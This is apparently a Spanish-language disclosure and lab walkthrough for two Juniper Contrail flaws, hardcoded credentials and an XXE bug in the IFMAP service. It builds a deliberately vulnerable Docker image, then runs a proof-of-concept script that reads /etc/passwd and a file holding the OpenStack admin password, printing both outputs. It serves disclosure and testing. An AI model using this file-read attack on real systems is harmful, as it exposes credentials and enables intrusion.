
Contrail: credenciales codificadas (CVE-2017-10616) y vulnerabilidad de Entidad Externa XML (XXE) (CVE-2017-10617)
Estas dos vulnerabilidades afectan a Juniper Contrail versiones 2.2, 3.0, 3.1 y 3.2:
El boletín de seguridad del fabricante se puede encontrar en Juniper Security Alert JSA10819 2017-10.
El servicio vulnerable en el producto Contrail es un demonio IFMAP, que está empaquetado desde irond. Para simplificar, continuemos con irond y la explotación de la vulnerabilidad XXE.
A todos nos encanta jugar. Para construir la imagen:
$ cd vulnerable-irond
$ docker build -t vulnerable-irond .
La imagen se basa en la imagen maven alpine, con un clon del repositorio irond.
Se coloca un archivo de prueba que coincide con la configuración de Contrail en la imagen vulnerable en /etc/contrail/openstackrc. Este archivo contiene la contraseña de administrador de OpenStack, que es un activo bastante sensible.
Para iniciar un servicio IFMAP vulnerable:
$ docker run -ti --rm -p 8443:8443 vulnerable-irond
El servicio IFMAP ahora está disponible en el puerto 8443 de la máquina local.
Una vez que se configura un servicio IFMAP vulnerable, haga lo siguiente:
$ ./poc-xxe.py -g /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
$ ./poc-xxe.py -g /etc/contrail/openstackrc
export OS_USERNAME=admin
export OS_PASSWORD=6b000a589c700b077ef9729513e5d6fc
...
Esto revela efectivamente la contraseña de administrador de OpenStack.